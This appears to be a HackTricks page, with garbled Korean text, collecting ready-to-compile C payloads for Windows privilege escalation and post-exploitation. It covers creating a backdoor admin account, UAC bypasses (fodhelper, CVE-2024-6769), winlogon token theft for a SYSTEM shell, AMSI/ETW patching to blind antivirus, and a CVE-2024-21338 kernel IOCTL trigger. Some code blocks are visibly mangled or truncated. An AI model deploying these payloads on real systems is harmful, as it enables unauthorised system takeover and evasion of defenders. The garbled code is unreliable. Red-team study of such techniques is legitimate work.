Windows C Payloads
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ Windows Local Privilege Escalation ๋๋ post-exploitation ์ํฉ์์ ์ ์ฉํ ์๊ณ ๋
๋ฆฝ์ ์ธ C ์ค๋ํซ๋ค์ ๋ชจ์๋ก๋๋ค. ๊ฐ payload๋ ๋ณต์ฌ-๋ถ์ฌ๋ฃ๊ธฐ ์นํ์ ์ผ๋ก ์ค๊ณ๋์์ผ๋ฉฐ Windows API / C runtime๋ง ํ์ํ๊ณ i686-w64-mingw32-gcc (x86) ๋๋ x86_64-w64-mingw32-gcc (x64)๋ก ์ปดํ์ผํ ์ ์์ต๋๋ค.
โ ๏ธ ์ด payload๋ค์ ํด๋น ์์ ์ ์ํํ๋ ๋ฐ ํ์ํ ์ต์ ๊ถํ(์:
SeDebugPrivilege,SeImpersonatePrivilege, ๋๋ UAC bypass๋ฅผ ์ํ medium-integrity ์ปจํ ์คํธ)์ ์ด๋ฏธ ํ๋ก์ธ์ค๊ฐ ๊ฐ์ง๊ณ ์๋ค๊ณ ๊ฐ์ ํฉ๋๋ค. ์ด๋ค์ ์ทจ์ฝ์ ์ ์ฉ์ผ๋ก arbitrary native code execution์ด ํ๋ณด๋ red-team ๋๋ CTF ํ๊ฒฝ์ ์ํ ๊ฒ์ ๋๋ค.
๋ก์ปฌ ๊ด๋ฆฌ์ ์ฌ์ฉ์ ์ถ๊ฐ
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}
UAC Bypass โ fodhelper.exe Registry Hijack (Medium โ High integrity)
์ ๋ขฐ๋ ๋ฐ์ด๋๋ฆฌ **fodhelper.exe**๊ฐ ์คํ๋๋ฉด, ์๋ ๋ ์ง์คํธ๋ฆฌ ๊ฒฝ๋ก๋ฅผ ์ฟผ๋ฆฌํ๋ฉฐ DelegateExecute ๋์ฌ๋ฅผ ํํฐ๋งํ์ง ์์ต๋๋ค. ํด๋น ํค ์๋์ ๋ช
๋ น์ ์ฌ์ด๋๋ฉด ๊ณต๊ฒฉ์๋ ํ์ผ์ ๋์คํฌ์ ๊ธฐ๋กํ์ง ์๊ณ ๋ UAC๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
fodhelper.exe๊ฐ ์ฟผ๋ฆฌํ๋ ๋ ์ง์คํธ๋ฆฌ ๊ฒฝ๋ก
HKCU\Software\Classes\ms-settings\Shell\Open\command
๊ถํ ์์น๋ cmd.exe๋ฅผ ๋์ฐ๋ ์ต์ PoC:
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);
// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);
RegCloseKey(hKey);
// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}
Windows 10 22H2 ๋ฐ Windows 11 23H2(2025๋
7์ ํจ์น)์์ ํ
์คํธํ์ต๋๋ค. ์ฐํ๊ฐ ์ฌ์ ํ ์๋ํ๋ ์ด์ ๋ Microsoft๊ฐ DelegateExecute ๊ฒฝ๋ก์ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ ๋๋ฝ์ ์์ ํ์ง ์์๊ธฐ ๋๋ฌธ์
๋๋ค.
UAC Bypass โ Activation Context Cache Poisoning (ctfmon.exe, CVE-2024-6769)
Drive remapping + activation context cache poisoning์ ctfmon.exe๊ฐ ๋์ ๋ฌด๊ฒฐ์ฑ์ ์ ๋ขฐ๋ UI ํ๋ก์ธ์ค๋ก ์คํ๋์ด ํธ์ถ์์ ๊ฐ์ฅ๋ C: ๋๋ผ์ด๋ธ์์ ๊ธฐ๊บผ์ด ๋ก๋ํ๊ณ CSRSS๊ฐ ์บ์ํ DLL ๋ฆฌ๋๋ ์
์ ์ฌ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์ ํจ์น๋ Windows 10/11 ๋น๋์์๋ ์ฌ์ ํ ํจ๊ณผ๊ฐ ์์ต๋๋ค. ์
์ฉ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค: C:๋ฅผ ๊ณต๊ฒฉ์ ์ ์ด ์คํ ๋ฆฌ์ง๋ก ์ฌ์ง์ ํ๊ณ ํธ๋ก์ดํ๋ msctf.dll์ ๋ฐฐ์นํ ๋ค ctfmon.exe๋ฅผ ์คํํด ๋์ ๋ฌด๊ฒฐ์ฑ์ ์ป๊ณ , CSRSS์ auto-elevated ๋ฐ์ด๋๋ฆฌ(์: fodhelper.exe)์์ ์ฌ์ฉํ๋ DLL์ ๋ฆฌ๋๋ ์
ํ๋๋ก ๋งค๋ํ์คํธ๋ฅผ ์บ์ฑํ๊ฒ ์์ฒญํ๋ฉด ๋ค์ ์คํ ์ UAC ํ๋กฌํํธ ์์ด ํ์ด๋ก๋๊ฐ ์์๋ฉ๋๋ค.
์ค์ ์ํฌํ๋ก:
- ๊ฐ์ง %SystemRoot%\System32 ํธ๋ฆฌ๋ฅผ ์ค๋นํ๊ณ ํ์ทจํ๋ ค๋ ์ ํ ๋ฐ์ด๋๋ฆฌ(๋๊ฐ
ctfmon.exe)๋ฅผ ๋ณต์ฌํฉ๋๋ค. DefineDosDevice(DDD_RAW_TARGET_PATH)๋ฅผ ์ฌ์ฉํด ํ๋ก์ธ์ค ๋ด์์C:๋ฅผ ์ฌ๋งคํํ๊ณ , ๋ณ๊ฒฝ์ด ๋ก์ปฌ์๋ง ์ ์ฉ๋๋๋กDDD_NO_BROADCAST_SYSTEM์ ์ ์งํฉ๋๋ค.- ๊ฐ์ง ํธ๋ฆฌ์ DLL๊ณผ ๋งค๋ํ์คํธ๋ฅผ ๋ฐฐ์นํ๊ณ
CreateActCtx/ActivateActCtx๋ฅผ ํธ์ถํด ๋งค๋ํ์คํธ๋ฅผ activation-context ์บ์์ ํธ์ํ ๋ค์, auto-elevated ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ์ฌ ๋ฆฌ๋๋ ์ ๋ DLL์ด ๋ฐ๋ก ๋น์ ์ ์์ฝ๋๋ก ๋ก๋๋๊ฒ ํฉ๋๋ค. - ์์
์ด ๋๋๋ฉด ์บ์ ํญ๋ชฉ(
sxstrace ClearCache)์ ์ญ์ ํ๊ฑฐ๋ ์ฌ๋ถํ ํ์ฌ ๊ณต๊ฒฉ์ ํ์ ์ ์ง์๋๋ค.
C - ๊ฐ์ง ๋๋ผ์ด๋ธ + ๋งค๋ํ์คํธ ์ค์ผ ๋์ฐ๋ฏธ (CVE-2024-6769)
```c #define WIN32_LEAN_AND_MEAN #includeBOOL WriteWideFile(const wchar_t *path, const wchar_t *data) { HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (h == INVALID_HANDLE_VALUE) return FALSE; DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t)); BOOL ok = WriteFile(h, data, bytes, &bytes, NULL); CloseHandle(h); return ok; }
int wmain(void) { const wchar_t *stage = LโC:\Users\Public\fakeC\Windows\System32โ; SHCreateDirectoryExW(NULL, stage, NULL); CopyFileW(LโC:\Windows\System32\ctfmon.exeโ, LโC:\Users\Public\fakeC\Windows\System32\ctfmon.exeโ, FALSE); CopyFileW(Lโ.\msctf.dllโ, LโC:\Users\Public\fakeC\Windows\System32\msctf.dllโ, FALSE);
DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM, LโC:โ, Lโ\??\C:\Users\Public\fakeCโ);
const wchar_t manifest[] =
Lโโ
Lโ
ACTCTXW act = { sizeof(act) }; act.lpSource = LโC:\Users\Public\fakeC\payload.manifestโ; ULONG_PTR cookie = 0; HANDLE ctx = CreateActCtxW(&act); ActivateActCtx(ctx, &cookie);
STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; CreateProcessW(LโC:\Windows\System32\ctfmon.exeโ, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 2000); DefineDosDeviceW(DDD_REMOVE_DEFINITION, LโC:โ, Lโ\??\C:\Users\Public\fakeCโ); return 0; }
</details>
์ ๋ฆฌ ํ: SYSTEM ๊ถํ์ ์ป์ ํ ํ
์คํธํ ๋ `sxstrace Trace -logfile %TEMP%\sxstrace.etl`๋ฅผ ํธ์ถํ๊ณ ์ด์ด์ `sxstrace Parse`๋ฅผ ์คํํ์ธ์ โ ๋ก๊ทธ์์ ๋งค๋ํ์คํธ ์ด๋ฆ์ด ๋ณด์ด๋ฉด ๋ฐฉ์ด์๋ ๋ณผ ์ ์์ผ๋ฏ๋ก, ๋งค๋ฒ ๊ฒฝ๋ก๋ฅผ ๊ต์ฒดํ์ธ์.
---
## ํ ํฐ ๋ณต์ ๋ฅผ ํตํด SYSTEM ์
ธ ์์ฑ (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
ํ์ฌ ํ๋ก์ธ์ค๊ฐ **๋ ๋ค** `SeDebug` ๋ฐ `SeImpersonate` ๊ถํ์ ๋ณด์ ํ๊ณ ์๋ค๋ฉด(๋ง์ ์๋น์ค ๊ณ์ ์์ ํํจ), `winlogon.exe`์์ ํ ํฐ์ ํ์ณ ๋ณต์ ํ ๋ค ๊ถํ ์์น๋ ํ๋ก์ธ์ค๋ฅผ ์์ํ ์ ์์ต๋๋ค:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}
int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken = NULL, dupToken = NULL;
if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}
์๋ ๋ฐฉ์์ ๋ํ ์์ธํ ์ค๋ช ์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
SeDebug + SeImpersonate copy token
In-Memory AMSI & ETW Patch (Defence Evasion)
๋๋ถ๋ถ์ ์ต์ AV/EDR ์์ง์ ์ ์ฑ ๋์์ ๊ฒ์ฌํ๊ธฐ ์ํด AMSI ๋ฐ ETW์ ์์กดํฉ๋๋ค. ํ์ฌ ํ๋ก์ธ์ค ๋ด๋ถ์์ ๋ ์ธํฐํ์ด์ค๋ฅผ ์กฐ๊ธฐ์ ํจ์นํ๋ฉด ์คํฌ๋ฆฝํธ ๊ธฐ๋ฐ payloads(์: PowerShell, JScript)๊ฐ ์ค์บ๋๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}
int main(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
์์ ํจ์น๋ ํ๋ก์ธ์ค ๋ก์ปฌ์ ๋๋ค; ์ด๋ฅผ ์คํํ ํ ์๋ก์ด PowerShell์ ์์ฑํ๋ฉด AMSI/ETW ๊ฒ์ฌ๋ฅผ ๊ฑฐ์น์ง ์๊ณ ์คํ๋ฉ๋๋ค.
์์ ํ๋ก์ธ์ค๋ฅผ Protected Process Light (PPL)๋ก ์์ฑ
์์ฑ ์์ ์ ์์์ ๋ํด PPL ๋ณดํธ ์์ค์ STARTUPINFOEX + PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL๋ฅผ ์ฌ์ฉํด ์์ฒญํฉ๋๋ค. ์ด๋ ๋ฌธ์ํ๋ API์ด๋ฉฐ, ๋์ ์ด๋ฏธ์ง๊ฐ ์์ฒญ๋ ์๋ช
์ ํด๋์ค(Windows/WindowsLight/Antimalware/LSA/WinTcb)์ ๋ํด ์๋ช
๋์ด ์์ด์ผ๋ง ์ฑ๊ณตํฉ๋๋ค.
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
๊ฐ์ฅ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๋ ๋ฒจ:
PROTECTION_LEVEL_WINDOWS_LIGHT(2)PROTECTION_LEVEL_ANTIMALWARE_LIGHT(3)PROTECTION_LEVEL_LSA_LIGHT(4)
Process Explorer/Process Hacker์์ Protection ์ด์ ํ์ธํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ๊ฒ์ฆํ์ธ์.
Local Service -> Kernel via appid.sys Smart-Hash (IOCTL 0x22A018, CVE-2024-21338)
appid.sys๋ ๋๋ฐ์ด์ค ๊ฐ์ฒด(\\.\\AppID)๋ฅผ ๋
ธ์ถํ๋ฉฐ, ํด๋น smart-hash ์ ์ง๋ณด์ IOCTL์ ํธ์ถ์๊ฐ LOCAL SERVICE๋ก ์คํ๋ ๋ ์ฌ์ฉ์ ์ ๊ณต ํจ์ ํฌ์ธํฐ๋ฅผ ํ์ฉํฉ๋๋ค; Lazarus๋ ์ด๋ฅผ ์
์ฉํด PPL์ ๋นํ์ฑํํ๊ณ ์์ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํฉ๋๋ค. ๋ฐ๋ผ์ red team์ ๋ฉ ํ๊ฒฝ์์ ์ฌ์ฉํ ์ค๋น๋ ํธ๋ฆฌ๊ฑฐ๋ฅผ ๊ฐ์ถ์ด์ผ ํฉ๋๋ค.
์ด์ ๋ ธํธ:
- ์ฌ์ ํ
LOCAL SERVICEํ ํฐ์ด ํ์ํฉ๋๋ค.SeImpersonatePrivilege๋ฅผ ์ฌ์ฉํดSchedule์ด๋WdiServiceHost์์ ํ ํฐ์ ํ์น ๋ค, ์ฅ์น์ ์ ๊ทผํ๊ธฐ ์ ์ ๊ถํ ๋๋ฆฌ(impersonate)ํ์ฌ ACL ๊ฒ์ฌ๊ฐ ํต๊ณผ๋๊ฒ ํ์ธ์. - IOCTL
0x22A018๋ ๋ ๊ฐ์ ์ฝ๋ฐฑ ํฌ์ธํฐ(๊ธธ์ด ์กฐํ + ์ฝ๊ธฐ ํจ์)๋ฅผ ํฌํจํ๋ ๊ตฌ์กฐ์ฒด๋ฅผ ๊ธฐ๋ํฉ๋๋ค. ๋ ๋ค ํ ํฐ ๋ฎ์ด์ฐ๊ธฐ๋ ring-0 primitives๋ฅผ ๋งคํํ๋ user-mode ์คํ ์ ๊ฐ๋ฆฌํค๊ฒ ํ๋, ๋ฒํผ๋ RWX๋ก ์ ์งํ์ฌ KernelPatchGuard๊ฐ ์ฒด์ธ ์ค๊ฐ์ ํฌ๋์๋์ง ์๋๋ก ํ์ธ์. - ์ฑ๊ณต ํ์๋ ๊ถํ ๋๋ฆฌ๋ฅผ ์ข
๋ฃํ๊ณ ๋๋ฐ์ด์ค ํธ๋ค์ ๋ณต์ํ์ธ์; ๋ฐฉ์ด์๋ ์์์น ๋ชปํ
Device\\AppIDํธ๋ค์ ์ฐพ๊ธฐ ๋๋ฌธ์ ๊ถํ์ ํ๋ํ ์ฆ์ ๋ซ์์ผ ํฉ๋๋ค.
C - `appid.sys` smart-hash abuse๋ฅผ ์ํ ์ค์ผ๋ ํค ํธ๋ฆฌ๊ฑฐ
```c #define WIN32_LEAN_AND_MEAN #includetypedef struct _APPID_SMART_HASH { ULONGLONG UnknownCtx[4]; PVOID QuerySize; // called first PVOID ReadBuffer; // called with size returned above BYTE Reserved[0x40]; } APPID_SMART_HASH;
DWORD WINAPI KernelThunk(PVOID ctx) { // map SYSTEM shellcode, steal token, etc. return 0; }
int wmain(void) { HANDLE hDev = CreateFileW(Lโ\\.\AppIDโ, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hDev == INVALID_HANDLE_VALUE) { printf(โ[-] CreateFileW failed: %lu\nโ, GetLastError()); return 1; }
APPID_SMART_HASH in = {0}; in.QuerySize = KernelThunk; in.ReadBuffer = KernelThunk;
DWORD bytes = 0; if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) { printf(โ[-] DeviceIoControl failed: %lu\nโ, GetLastError()); } CloseHandle(hDev); return 0; }
</details>
๋ฌด๊ธฐํ๋ ๋น๋์ ์ต์ ์์ : `VirtualAlloc`์ผ๋ก RWX ์น์
์ ๋งคํํ๊ณ , ๊ฑฐ๊ธฐ์ token duplication stub์ ๋ณต์ฌํ ๋ค์ `KernelThunk = section`์ผ๋ก ์ค์ ํ์ธ์. `DeviceIoControl`์ด ๋ฐํ๋๋ฉด PPL ํ์์๋ SYSTEM์ด ๋์ด์ผ ํฉ๋๋ค.
---
## ์ฐธ์กฐ
* Ron Bowes โ โFodhelper UAC Bypass Deep Diveโ (2024)
* SplinterCode โ โAMSI Bypass 2023: The Smallest Patch Is Still Enoughโ (BlackHat Asia 2023)
* CreateProcessAsPPL โ ์ต์ PPL ํ๋ก์ธ์ค ๋ฐ์ฒ: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs โ STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
* DarkReading โ ["Novel Exploit Chain Enables Windows UAC Bypass"](https://www.darkreading.com/vulnerabilities-threats/windows-activation-context-cache-elevation) (2024)
* Avast Threat Labs โ ["Lazarus Deploys New FudModule Rootkit"](https://decoded.avast.io/threatresearch/lazarus-deploys-new-fudmodule-rootkit/) (2024)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


